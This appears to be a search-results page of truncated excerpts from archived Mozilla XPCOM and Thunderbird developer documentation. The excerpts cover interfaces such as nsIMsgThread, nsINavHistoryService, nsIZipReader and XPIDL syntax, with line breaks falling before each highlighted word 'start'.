the "chromepackagename" attribute set to "extension@example.org" means, that the account manager expects to find a xul file in "chrome://extension@example.org/content/am-devmo.xul" and a property file in "chrome://extension@example.org/locale/am-devmo.properties" containing a property named "prefpanel-devmo". you have to register any new account manager extensions via the the category manager at
start up. simply add a new entry with the contact id of the component to the "mailnews-accountmanager-extensions" category. //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgaccountmanager.idlscriptable please add a summary to this article. last changed in gecko ??? inherits from: nsisupports method overview boolean showpanel(in nsimsgincomingserver server); attribu...
nsIMsgFilterCustomAction
this only * applies to after-the-fact (manual) filters. call onstopcopy when done * using the copylistener to continue. */ readonly attribute boolean isasync; /// does this action need the message body? readonly attribute boolean needsbody; }; ...
nsIMsgProtocolInfo
andelete boolean true if an account of this type may be deleted. read only. canduplicate boolean unused. read only. cangetincomingmessages boolean true if junk ui actions should be enabled for the account type. read only. cangetmessages boolean true if "get messages" ui actions should be enabled for the account type. read only. canloginat
startup boolean true if the account type can perform biff during
startup. read only. defaultdobiff boolean true if the biff should be enabled by default for the account type. read only. defaultlocalfilepath nsilocalfile the default path under which all server data for this account type will be stored. folderscreateasync boolean new in thunderbird 24 (b...
nsIMsgThread
ouncer to receive notification when the change is made. markchildread() void markchildread(in boolean bread); parameters bread true if the messages should be marked read. false if unread. getfirstunreadchild() nsimsgdbhdr getfirstunreadchild(); enumeratemessages() nsisimpleenumerator enumeratemessages(in nsmsgkey parent); parameters parent a key representing the message to
start enumerating with. ...
nsIMsgWindow
ck the character set of the currently displayed message. if set to an alias, the actual character set is returned. charsetoverride boolean remember the message's charset was overridden, so it can be inherited (e.g for quoting). stopped boolean check if a running url been stopped. if you are checking this flag, you need to clear it before you
start your operation since there's no convenient place to clear it. domwindow nsidomwindow the message window's global chrome window object. set this to initialize the rootdocshell. methods displayhtmlinmessagepane() loads the specified html in the message pane. this is equivalent to calling loaduri on the nsiwebnavigation object with a data: url specifying the html...
nsINavBookmarkObserver
aitemtype the type of the item that is about to be removed; this is one of the nsinavbookmarksservice.type constants. aparentid the id of the folder containing the item. aguid the unique id associated with the item. aparentguid the unique id associated with the item's parent. onbeginupdatebatch() this method notifies this observer that a batch transaction has
started. other notifications will be sent during the batch change, but the observer is guaranteed that onendupdatebatch() will be called at the completion of changes. during a batch the observer should do its best to reduce the work done to handle notifications, since multiple changes are going to happen in a short timeframe. void onbeginupdatebatch(); parameters none. onendupdatebatch() this method n...
nsINavHistoryResultNode
f the children under it, rather than the total number of times the host has been accessed (getting that information would require an additional query, so for performance reasons that information isn't given by default). read only. bookmarkindex long when this item is in a bookmark folder (its parent is of type folder), this is the index into that folder at which this node resides. these indices
start at 0 and increase in the order at which the nodes appear in the bookmark folder. for items that are not in a bookmark folder, this value is -1. read only. dateadded prtime if the node is an item (bookmark, folder, or separator), this value is the time at which the item was created. for other nodes, this value is 0. read only. icon autf8string this uri can be used as an image source uri and wi...
nsINavHistoryService
parameters auri the page that is to be marked as followed by a bookmark. markpageastyped() this method designates the url as having been explicitly typed in by the user, so it can be used as an autocomplete result. it is called by the url bar when the user types in a url. this can be and is called before the page is actually added to history, since the page isn't added until it actually
starts loading. the typed flag affects the url bar autocomplete. this will cause the transition type of the next visit of the url to be marked as "typed." void markpageastyped( in nsiuri auri ); parameters auri the page that is to be marked as typed by the user. markpageasfollowedlink() designates the specified url as coming from a link explicitly followed by the user (for example by clicki...
nsIObserver
observer = new myobserver(); destruction - this should be fired once you're done observing (for example a window's unload event). failure to do so may result in memory leaks. observer.unregister(); "get everything" - note that "*" is an acceptable value (be careful with this, because it observes many events, and can degrade performance). obse...
nsIPluginHost
ginnativewindow native code only!parsepostbuffertofixheaders this method parses post buffer to find out case insensitive "content-length" string and cr or lf some where after that, then it assumes there is http headers in the input buffer and continue to search for end of headers (crlfcrlf or lflf). it will *always malloc()* output buffer (caller is responsible to free it) if input buffer
starts with lf, which comes from 4.x spec http://developer.netscape.com/docs/manuals/communicator/plugin/pgfn2.htm#1007754 "if no custom headers are required, simply add a blank line ('\n') to the beginning of the file or buffer.", it skips that '\n' and considers rest of the input buffer as data. if "content-length" string and end of headers is found it substitutes single lf with crlf in the headers, ...
nsIPrintingPrompt
from: nsisupports last changed in gecko 1.7 this interface is identical to nsipintingpromptservice but without the parent nsidomwindow parameter. see nsiprintingpromptservice for all documentation. this service enables embedders to implement their own print and progress dialogs. each platform has a "base" or "backstop" implementation of the service. the service is automatically registered at
start up. historically, platform toolkits with native dialogs have implemented them in the gfx layer usually they were displayed when a new devicecontextspec specific to that platform was created. windows: the gfx layer no longer supports default toolkit behavior for displaying the native print dialog. if an embedder implemented service returns any error code (other than ns_error_abort) printing wil...
nsIProtocolHandler
spec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default. if the protocol doesn't need a port (for example, the "about" protocol), this attribute is -1. read only. protocolflags unsigned long protocol-specific flags. read only. note:
starting with firefox 3, one of uri_loadable_by_anyone, uri_dangerous_to_load, uri_is_ui_resource, or uri_is_local_file must be set on every protocol handler. current versions of firefox assume that the uri has uri_loadable_by_anyone set, but this will not work
starting with the mozilla 2 platform. scheme acstring the scheme for this protocol ("file", "http", and so forth). read only...
nsIProtocolProxyService
again. the proxy that was unavailable. return value an nsiproxyinfo object or null for a direct connection. exceptions thrown ns_error_not_available if there is no alternate proxy available. registerfilter() this method may be used to register a proxy filter instance. each proxy filter is registered with an associated position that determines the order in which the filters are applied (
starting from position 0). when resolve/asyncresolve is called, it generates a list of proxies for the given uri, and then it applies the proxy filters. the filters have the opportunity to modify the list of proxies. if two filters register for the same position, then the filters will be visited in the order in which they were registered. if the filter is already registered, then its position will be ...
nsISHistory
count long the number of toplevel documents currently available in session history. read only. index long the index of the current document in session history. read only. maxlength long used to get/set the maximum number of toplevel documents, session history can hold for each instance. requestedindex long the index of the last document that
started to load that is not yet finished loading. when the document finishes loading the value -1 is returned. read only. shistoryenumerator nsisimpleenumerator called to obtain a enumerator for all the documents stored in session history. the enumerator object thus returned by this method can be traversed using nsisimpleenumerator. to access individual history entries of the e...
nsISSLSocketControl
netwerk/socket/nsisslsocketcontrol.idlscriptable this interface establishes tls and ssl connections. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void proxy
startssl(); void
starttls(); attributes attribute type description forcehandshake boolean obsolete since gecko 1.9 notificationcallbacks nsiinterfacerequestor methods proxy
startssl()
starts an ssl proxy connection. void proxy
startssl(); parameters none.
starttls() establishes a
starttls connection. this is used to encrypt plain-text data communication. void
starttls(); parameters none. ...
nsIScreen
o represent a color. read only. pixeldepth long the screen's pixel depth; this is the number of bits used to represent a pixel. read only. rotation unsigned long the screen's current rotation; you may set this to any of the values listed in screen rotation constants. this will only have an effect on platforms that support screen rotation. gecko 1.9.2 note
starting in gecko 1.9.2, gecko running on microsoft windows reports 24 bits per pixel instead of 32 bits per pixel on 8-bits per color component displays, since this is typically what the caller is actually looking for. constants screen brightness constants constant value description brightness_dim 0 the screen is fully dimmed (that is, off). brightness_full 1...
nsIScriptableIO
optional] in unsigned long apermissions); nsiuri newuri(in nsivariant auri); methods getfile() retrieves a reference to a file or directory on disk. the file does not have to exist already; this method simply creates the file reference which may then be passed to the newinputstream() or newoutputstream() method to open the file for reading or writing. files are located by
starting at a known directory, specified using a location key string. for example, if the location key is specified as "desk" and the file name is specified as "foo.txt", the file reference generated will refer to a file named "foo.txt" on the user's desktop. note: the filename may only be the name of a file. if you need to select a file in a subdirectory, you should get a reference to the directory, t...
nsISelection3
methods modify() modifies the selection. note that the parameters are case-insensitive. void modify( in domstring alter, in domstring direction, in domstring granularity ); parameters alter can be one of { "move", "extend" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed selection. "extend" leaves the
start of the selection unchanged, and applies movement direction/granularity to the end of the selection. direction can be one of { "forward", "backward", "left", "right" } granularity can be one of { "character", "word", "line", "lineboundary" } see also nsiselection ...
nsISocketTransport
interface specializes nsitransport for communication over network sockets. it provides methods to open blocking or non-blocking, buffered or unbuffered streams between two end-point in a ip based network. inherits from: nsitransport last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: connection setup is triggered by opening an input or output stream, it does not
start on its own. completion of the connection setup is indicated by a status_connected_to notification to the event sink (if set). to create an instance, call nsisockettransportservice.createtransport() method overview prnetaddr getpeeraddr(); native code only! prnetaddr getselfaddr(); native code only! unsigned long gettimeout(in unsigned long atype); ...
nsISound
you specify "systemexclamation", you can play the windows alert sound, but it's played only on windows. similarly, if you specify "blow", you can play the mac os x "blow" system sound, but, similarly, it's played only on the macintosh. if you wish to use this method for playing sounds, you should check the platform before you call playsystemsound(). note: this second usage is obsolete
starting in gecko 1.9.2. you should instead use playeventsound() instead. typically, it will be more useful to request that appropriate sounds be played based on which event you wish to represent by the sound effect. various event names are provided, which will result in playing the corresponding sound effect on the platform the user is running on: _moz_mailbeep t...
nsISpeculativeConnect
networking layer know what you might be doing in the future. method overview void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget); methods speculativeconnect() call this method to hint to the networking layer that a new transaction for the specified uri is likely to happen soon. the code implementing this method may use this information to
start a tcp and/or ssl level handshake for that resource immediately so that it is ready (or at least in the process of becoming ready) when the transaction is actually submitted. no obligation is taken on by the implementer, nor is the submitter obligated to actually open the new channel. void speculativeconnect( in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget ); ...
nsIStreamListener
netwerk/base/public/nsistreamlistener.idlscriptable this interface is used to listen to data being received on a stream. inherits from: nsirequestobserver last changed in gecko 1.0 classes which want to consume data from a nsichannel need to implement this interface. nsirequestobserver contains two methods. so, in all the three methods - ondataavailable(), nsirequestobserver.on
startrequest() and nsirequestobserver.onstoprequest() have to be implemented. method overview void ondataavailable(in nsirequest arequest, in nsisupports acontext, in nsiinputstream ainputstream, in unsigned long aoffset, in unsigned long acount); methods ondataavailable() this method is called when the next chunk of data for the ongoing request may be read without blocking the calling thread. the da...
nsITaskbarProgress
this class wraps around the native functionality to do this. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void setprogressstate(in nstaskbarprogressstate state, in unsigned long long currentvalue optional, in unsigned long long maxvalue optional); constants constant value description state_no_progress 0 stop displaying progress on the taskbar button. this should be used when the operation is complete or canceled. ...
nsITaskbarWindowPreview
lications in a standard way. this interface's primary purpose is to let gecko applications take control over parts of the preview; however, certain parts of the preview are not controlled using this interface. for example, the title and icon for each preview always match the title and icon of the corresponding window. if the enablecustomdrawing attribute is true, the controller you implement will
start receiving calls to its nsitaskbarpreviewcontroller.drawpreview() and nsitaskbarpreviewcontroller.drawthumbnail() methods, as well as reads of its width, height, and thumbnailaccessratio attributes. by default, however, windows handles this drawing by itself. in addition, these previews are visible by default. when made invisible, the window disappears from the list of the application's windows in...
nsITelemetry
jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void sethistogramrecordingenabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback acallback); double mssinceprocess
start(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedscalarset(in acstrin...
nsIThreadPool
l creates a new thread to process the event, up to the number of threads specified by the threadlimit attribute. method overview void shutdown(); attributes attribute type description idlethreadlimit unsigned long get/set the maximum number of idle threads that are kept alive. once there are more than this many idle worker threads, the idle threads
start getting destroyed. idlethreadtimeout unsigned long get/set the amount of time in milliseconds that a thread must be idle before it becomes eligible to be destroyed. listener nsithreadpoollistener an optional listener that will be notified when a thread is created or destroyed in the course of the thread pool's operation. a listener will only receive notific...
nsITreeView
= components.classes["@mozilla.org/atom-service;1"].getservice(components.interfaces.nsiatomservice); var atom = atomservice.getatom("dummy"); properties.appendelement(atom); } hasnextsibling() used to determine if the row at rowindex has a nextsibling that occurs after the index specified by afterindex. code that is forced to march down the view looking at levels can optimize the march by
starting at afterindex+1. boolean hasnextsibling( in long rowindex, in long afterindex ); parameters rowindex the index of the item. afterindex the index of the item to find siblings after. return value true if the row has a next sibling. otherwise false iscontainer() whether the row has the potential to hold other rows within it. this does not determine whether a twisty is actually d...
nsIURLParser
this was never a valid part of a url, and is now no longer supported. this makes urls with semicolons in them work correctly. ...
nsIUpdatePrompt
available to be downloaded and installed. if the app.update.silent preference is true or the user interface is already displayed the call will be a no-op. void showupdateavailable( in nsiupdate update ); parameters update an nsiupdate describing the update that's available. showupdatedownloaded() shows a message advising the user that an update has been downloaded, and that the user should re
start the application in order to install it. if background is true (for example the download was not user initiated) and the app.update.silent preference is true the call will be a no-op. void showupdatedownloaded( in nsiupdate update, in boolean background optional ); parameters update an nsiupdate describing the update that was downloaded. background optional an optional parameter that, if pr...
nsIUserInfo
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/userinfo;1. to get the service, use: var userinfo = components.classes["@mozilla.org/userinfo;1"] .getservice(components.interfaces.nsiuserinfo); you can then look at the userinfo object's attributes to learn what the system knows about the user. attributes attribute type description linux mac osx os/2 windows domain string read only. the computer's domain, or the domain of its hostname. the domain portion of the email address, if available. not supported. not supported. ...
nsIWebBrowser
object; it should assume that a non nsnull value is always valid. the embedder must explicitly set this value back to nsnull if the chrome object is destroyed before the browser object. note: nsiinterfacerequestor and nsiweakreference might also need to be implemented by the chrome object. contentdomwindow nsidomwindow the top-level dom window. the embedder may walk the entire dom
starting from this value. read only. isactive boolean indicates whether this web browser is active. active means that it's visible enough that we want to avoid certain optimizations like discarding decoded image data and throttling the refresh driver. in firefox, this corresponds to the visible tab. defaults to true. for optimal performance, set it to false when appropriate. ...
nsIWebBrowserFind
e. note: that you can control whether the search propagates into child or parent frames explicitly using nsiwebbrowserfindinframes, but if one, but not both, of searchsubframes and searchparentframes are set, this returns false. searchstring wstring the string to search for. this must be non-empty to search. wrapfind boolean whether the search wraps around to the
start (or end) of the document if no match was found between the current position and the end (or beginning). works correctly when searching backwards. default is false. methods findnext() finds, highlights, and scrolls into view the next occurrence of the search string, using the current search settings. fails if the search string is empty. boolean findnext(); parameters none. return value whet...
nsIWebBrowserFindInFrames
embedding/components/find/public/nsiwebbrowserfind.idlscriptable controls how find behaves when multiple frames or iframes are present. inherits from: nsisupports last changed in gecko 1.7 get an instance by doing a queryinterface from nsiwebbrowserfind. attributes attribute type description currentsearchframe nsidomwindow frame at which to
start the search. once the search is done, this will be set to be the last frame searched, whether or not a result was found. has to be equal to or contained within the rootsearchframe. rootsearchframe nsidomwindow frame within which to confine the search (normally the content area frame). set this to only search a subtree of the frame hierarchy. searchparentframes boolean whether to allow the search to propagate out of the currents...
nsIWebBrowserPersist
areferrerpolicy was added. // obj_persist.saveuri(obj_uri,null,null,null,null,null,obj_targetfile,privacycontext); } catch (e) { alert(e); } } see also nsicancelable ...
nsIWebSocketChannel
available for use by applications. methods asyncopen() asynchronously opens the websocket connection. received messages are fed to the socket listener as they arrive. the socket listener's methods are called on the thread that calls asyncopen() and are not called until after asyncopen() returns. if asyncopen() returns successfully, the protocol implementation promises to call at least on
start and onstop of the listener. note: implementations should throw ns_error_already_opened if the websocket connection is reopened. void asyncopen( in nsiuri auri, in acstring aorigin, in nsiwebsocketlistener alistener, in nsisupports acontext ); parameters auri the uri of the websocket protocol; this may be redirected. aorigin the uri of the originating resource. aliste...
nsIWifiMonitor
nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) this is used, for example, by geolocation to use wifi access points for location detection. implemented by @mozilla.org/wifi/monitor;1 as a service: var wifimonitor = components.classes["@mozilla.org/wifi/monitor;1"] .getservice(components.interfaces.nsiwifimonitor); method overview void
startwatching(in nsiwifilistener alistener); void stopwatching(in nsiwifilistener alistener); methods
startwatching()
starts listening for changes to the wifi access point list. void
startwatching( in nsiwifilistener alistener ); parameters alistener the nsiwifilistener object to receive notifications when the wifi access point list changes. stopwatching() stops listening for changes to the w...
nsIWinTaskbar
by default, there is a single taskbar preview per top level window (excluding pop-ups). ...
nsIWindowMediator
ws. getmostrecentwindow() this is a shortcut for simply fetching the first window in front to back order. nsidomwindow getmostrecentwindow( in wstring awindowtype ); parameters awindowtype return the topmost window of this type. ("type" is the |windowtype| attribute of the xml <window> element.) if null, return the topmost window of any type. return value the topmost window. note:
starting in gecko 8.0, the returned value is an nsidomwindow; previously, it was an nsidomwindowinternal. you may need to update your code or recompile binary components, if they use this method. getouterwindowwithid() return the outer window with the given id, if any. nsidomwindow getouterwindowwithid( in unsigned long long aouterwindowid ); parameters aouterwindowid the id of the outer wi...
nsIXMLHttpRequestEventTarget
function object that gets invoked if the operation fails to complete due to an error. onload nsidomeventlistener a javascript function object that gets invoked when the operation is successfully completed. onloadend nsidomeventlistener a javascript function object that gets invoked when the operation is completed for any reason; it will always follow a an abort, error, or load event. onload
start nsidomeventlistener a javascript function object that gets invoked exactly once when the operation begins. onprogress nsidomeventlistener a javascript function object that gets invoked zero or more times, after the load
start event, but before any abort, error, or load events occur. handling the events when the handler functions for these events are called, they receive as a parameter a progr...
nsIXMLHttpRequestUpload
introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description onabort nsidomeventlistener onerror nsidomeventlistener onload nsidomeventlistener onload
start nsidomeventlistener onprogress nsidomeventlistener see also nsixmlhttprequest nsixmlhttprequesteventtarget xmlhttprequest using xmlhttprequest ...
nsIXPConnect
d in the sandbox. return value the result of the evaluation as a jsval. if the caller intends to use the return value from this call, the caller is responsible for rooting the jsval before making a call to this method. exceptions thrown missing exception missing description flagsystemfilenameprefix() preconfigure xpcnativewrapper automation so that when a scripted caller whose filename
starts with filenameprefix accesses a wrapped native that is not flagged as "system", the wrapped native will be automatically wrapped with an xpcnativewrapper. void flagsystemfilenameprefix( in string afilenameprefix, in prbool awantnativewrappers ); parameters afilenameprefix the utf-8 filename prefix to match, which should end with a slash (/) character. awantnativewrappers whether xpco...
nsIXULTemplateBuilder
e. database nsirdfcompositedatasource readonly: the composite datasource that the template builder observes and uses to create content. this is used only for rdf queries and is maintained for backwards compatibility. it will be the same object as the datasource property. for non-rdf queries, it will always be null. rootresult nsixultemplateresult readonly: the virtual result representing the
starting reference point, determined by calling the query processor's translateref method with the root node's ref attribute as an argument. queryprocessor nsixultemplatequeryprocessor [noscript] readonly: the query processor used to generate results. methods rebuild() force the template builder to rebuild its content. all existing content will be removed first. the query processor's done() method...
nsIZipReader
.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8. this can mismatch characters in the nsizipreader api.
starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), the nsizipreader api supports a limited 8 bit code page usage. all functions now pass the filenames (both in and out) as autf8string. so you can now read and extract what you wrote with nsizipwriter. if you show filenames from the findentries() result in the user interface, the character matching is only fine on utf-8 zip arch...
nsIZipWriter
saveinzipas = saveinzipas.replace(/\\/g,'/'); //remember must use forward slash (/) cu.reporterror('--' + saveinzipas); zw.addentryfile(saveinzipas, ci.nsizipwriter.compression_none, entry, false); } } zw.close() } other examples for other examples, take a look at the unit tests in th...
nsMsgSearchAttrib
/** otherheader must always be last attribute since * we can have an arbitrary # of these. the number can be changed, * however, because we never persist attribvalues as integers. */ const nsmsgsearchattribvalue otherheader = 52; // must be last attribute const nsmsgsearchattribvalue knummsgsearchattributes = 100; }; ...
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchterm(nsmsgsearchterm); // please note the ! at the
start of this macro, which means the macro // needs to enumerate the non-string attributes. %{c++ #define is_string_attribute(_a) \ (!(_a == nsmsgsearchattrib::priority || _a == nsmsgsearchattrib::date || \ _a == nsmsgsearchattrib::msgstatus || _a == nsmsgsearchattrib::messagekey || \ _a == nsmsgsearchattrib::size || _a == nsmsgsearchattrib::ageindays || \ _a == nsmsgsearchattrib::folderinfo || _a == nsmsgsearchattrib::location || \ _a == nsmsgsearchattrib::label || _a == nsmsgsearchattrib::junkstatus || \ _a == nsmsgsearchattrib::folderflag || _a == nsmsgsearchattrib::uint3...
XPCOM Interface Reference by grouping
ry nsiglobalhistory nsiglobalhistory2 nsiglobalhistory3 ssl nsibadcertlistener2 system action nsicancelable application application nsiapplicationupdateservice nsiappshell nsiappshellservice nsiapp
startup xul nsixulappinfo nsixulruntime nsixultemplatebuilder nsixultemplatequeryprocessor nsixultemplateresult bookmark livemark nsilivemarkservice nsinavbookmarkobserver nsinavbookmarksservice ...
NS_CStringCutData
« xpcom api reference summary the ns_cstringcutdata function removes a section of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_cstringcutdata( nsacstring& astring, pruint32 acut
start, pruint32 acutlength ); parameters astring [in] a nsacstring instance to be modified. acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. pass pr_uint32_max to specify the length from acut
start to the end of the string. return values the ns_cstringcutdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_cstringsetdatarange . examp...
NS_CStringSetDataRange
« xpcom api reference summary the ns_cstringsetdatarange function copies data into a section of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_cstringsetdatarange( nsacstring& astring, pruint32 acut
start, pruint32 acutlength, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify. acut
start [in] the
starting index of the section to replace, measured in storage units. acutlength [in] the length of the section to replace, measured in storage units. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise,...
NS_StringCutData
« xpcom api reference summary the ns_stringcutdata function removes a section of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_stringcutdata( nsastring& astring, pruint32 acut
start, pruint32 acutlength ); parameters astring [in] a nsastring instance to be modified. acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. pass pr_uint32_max to specify the length from acut
start to the end of the string. return values the ns_stringcutdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_stringsetdatarange. note: gcc r...
NS_StringSetDataRange
« xpcom api reference summary the ns_stringsetdatarange function copies data into a section of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_stringsetdatarange( nsastring& astring, pruint32 acut
start, pruint32 acutlength, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify. acut
start [in] the
starting index of the section to replace, measured in storage units. acutlength [in] the length of the section to replace, measured in storage units. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherw...
Setting HTTP request headers
this.myprogid, filespec, location, type); log("----------------------------> registerself"); var catmgr = components.classes["@mozilla.org/categorymanager;1"].getservice(components.interfaces.nsicategorymanager); catmgr.addcategoryentry("app-
startup", this.myname, this.myprogid, true, true); }, getclassobject: function (compmgr, cid, iid) { log("----------------------------> getclassobject"); return this.myfactory; }, mycid: components.id("{9cf5f3df-2505-42dd-9094-c1631bd1be1c}"), myprogid: "@dougt/myhttplistener;1", myname: "simple http listener", myfactory: { queryinterface:...
Troubleshooting XPCOM components registration
n's (or xulrunner application's) components directory. after clicking ok in the top right, check for any missing dependencies using file -> open -> firefox.exe (or equivalent). also check that the function nsgetmodule is exported. you can also use the profiling feature of dependency walker to view failed module loads while running your application. open the profile menu and select
start profiling.... in the dialog that appears, you can provide command line parameters and click ok to
start the application. you will see any modules that failed to load in the module list. note: you should delete compreg.dat from your profile before doing this. note that even your version of msvc may matter; your test machine may not have the c runtime libraries (msvcr70.dll ...
Reference Manual
if you're trying to fix a broken build, the faq might lead you to the answer more quickly. the basics design an nscomptr is designed to be a complete replacement for raw xpcom interface pointers where they are used as owning references. almost any place you could use a raw xpcom interface pointer, you should be able to use an nscomptr. an nscomptr is the exact same size and shape as a raw xpcom interface pointer. ...
Using nsIDirectoryService
tic lib, a source file in your project - whatever. just construct it, pass it to ns_initembedding, and it will be installed. if you are not using ns_initembedding, you will have to construct it and register it yourself using nsidirectoryservice.registerprovider(). if you are registering it yourself it is very important to register it immediately after calling ns_initxpcom. there are things in the
startup process that need these locations at a very early point - even before registering components. if you want to use mpfilelocprovider, or something like it, to provide one fixed profile, just construct it and call its initialize method - it will register itself. again, if you do this, do not initialize the profile service - it's either one or the other. related pages code_snippets:file_i/o or...
Using nsIPasswordManager
dduser('host', 'username', 'password'); since there's no provision to include names of html input fields, no password stored by this interface will be used to fill in passwords on web pages. nsiloginmanager, available in toolkit 1.9, does let you include input field names. retrieving a password retrieving a password from the password manager is more difficult. the example below should serve as a
starting point: // the host name of the password we are looking for var querystring = 'http://www.example.com'; // ask the password manager for an enumerator: var e = passwordmanager.enumerator; // step through each password in the password manager until we find the one we want: while (e.hasmoreelements()) { try { // get an nsipassword object out of the password manager. // this con...
Xptcall Porting Status
m> evan hunt <evanh@sco.com> recent (feb-2001) email from jkj@sco.com suggests that work will be occuring soon. <font color="black">works</font> netbsd/m68k dave huang <khym@bga.com> dave's changes are in the tree. waiting for verification that it is really finished. <font color="black">partially working</font> netbsd/arm32 mike pumford <mpumford@black-star.demon.co.uk> mike writes: i have
started porting to the platform based on the code for linux arm. the invokebyindex code works correctly when used with testxptcinvoke. i am currently working on making testxpc function correctly. i am doing the porting work with egcs-1.1.2 on netbsd 1.4p (netbsd-current snapshot from a couple of days ago). <font color="white">done</font> linux ia64 hp ulrich drepper <drepper@redhat.com> bug 40950 ...
XPIDL Syntax
use of both c-style (/* ... */) and c++-style (// ... end-of-line) comments are permitted between any two tokens. some productions can only occur at the beginning of lines; to simplify the grammar, i will not mention them in the grammar, especially since they are handled as a preprocessing step before the idl source code is actually parsed. a `%{' that appears at the beginning of a line is the
start of a raw code fragment, which extends until the end of a line that begins with `%}'. text inside raw code fragments are not otherwise parsed by xpidl directly. this may be followed by the language, as in `%{c++', to output the raw fragment only in the specified language. a `#include "file"' line instructs the xpidl processor to include that file in the same sense that the c preprocessor includes...
XPIDL
an interface description language used to specify xpcom interface classes. interface description languages (idl) are used to describe interfaces in a language- and machine-independent way. idls make it possible to define interfaces which can then be processed by tools to autogenerate language-dependent interface specifications. xpidl is expected to converge towards webidl in the future. note:
starting in gecko 9.0, the older xpidl utility, which was previously used to generate c++ header files, typelib information, and so forth has been replaced with pyxpidl in the gecko sdk. pyxpidl has been used for some time now, but now the older tool has been fully retired. writing xpidl interface files xpidl closely resembles omg idl, with extended syntax to handle iids and additional types. some e...
Xray vision
access javascript objects that are not themselves dom objects and are not properties of dom objects. for example: the detail property of a customevent fired by content could be a javascript object or date as well as a string or a primitive the return value of evalinsandbox() and any properties attached to the sandbox object may be pure javascript objects also, the webidl specifications are
starting to use javascript types such as date and promise: since webidl definition is the basis of dom xrays, not having xrays for these javascript types
starts to seem arbitrary. so, in gecko 31 and 32 we've added xray support for most javascript built-in objects. like dom objects, most javascript built-in objects have an underlying c++ state that is separate from their javascript representation, so...
Account Provisioner
the account provisioner gives the user the chance to search for and order a vanity email account from a list of partner providers. if the user already has an email account, the user can switch to the original account setup wizard. debugging the account provisioner dialog logs most if not all of its activities, which is useful for debugging. logs can either be dumped to the terminal via dump, or to the error console. to have logs dumped to the terminal, create a string preference called mail.provider.logging.dump and set its value to all. ...
Autoconfiguration in Thunderbird
without having to set up a configuration server. this method is not practical for other use cases, because it is difficult to update the configuration file. guessing if all other mechanisms failed, thunderbird tries to guess the configuration, by trying common server names like imap.<domain>, smtp.<domain>, mail.<domain> etc., and, when a mail server answers, checking whether it supports ssl,
starttls and encrypted passwords (cram-md5). manual configuration if guessing fails, the user must manually enter the configuration information. users may also choose to manually modify the account settings, even if configuration information is successfully obtained by the methods described above. all the lookup mechanisms use the email address domain as base for the lookup. for example, for the e...
Cached compose window FAQ
pose window. if the user has this usage pattern, we wouldn't have to create a new window. we could just hide it on send, and then show it on the next compose. if the user opens (but never sends or closes compose windows), this trick will not apply to them. but this is not a common usage model. how do i test it? on window and mac, the cached compose window is on by default. to test it
start mozilla do new message. this is a new compose window. notice how long it took. close or send the window. (the compose window is now cached) do new message again. this is the cached compose window. it should have been faster than in step 2. close or send the window. (the compose window is cached again) do new message again. this is the cached compose window. it should be as fast as in ...
MailNews Filters
the filter here add your action to filter.properties so it will show up in the filter log. finally, add protocol-specific code to apply your filter action in the various applyfilterhit methods imap pop3 news and "after the fact" since seamonkey and thunderbird share the filter code, you will also need to update the seamonkey .dtd and .property files. i may have missed some places, but that's a
start, anyway. it would be really nice if we had a mechanism for extensions to add their own filter actions. most if not all of the above pieces of code would be involved in the extension mechanism. ...
Mailbox
ocol is used to read messages from a local folder berkeley mailbox. it consists of nsmailboxservice, nsmailboxurl, and nsmailboxprotocol. this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running urls, getting on
start/stoprunningurl notifications when the url
starts/stops, etc. the mailbox protocol is also used to regenerate a summary file, in conjunction with nsmsgmailboxparser ...
Adding items to the Folder Pane
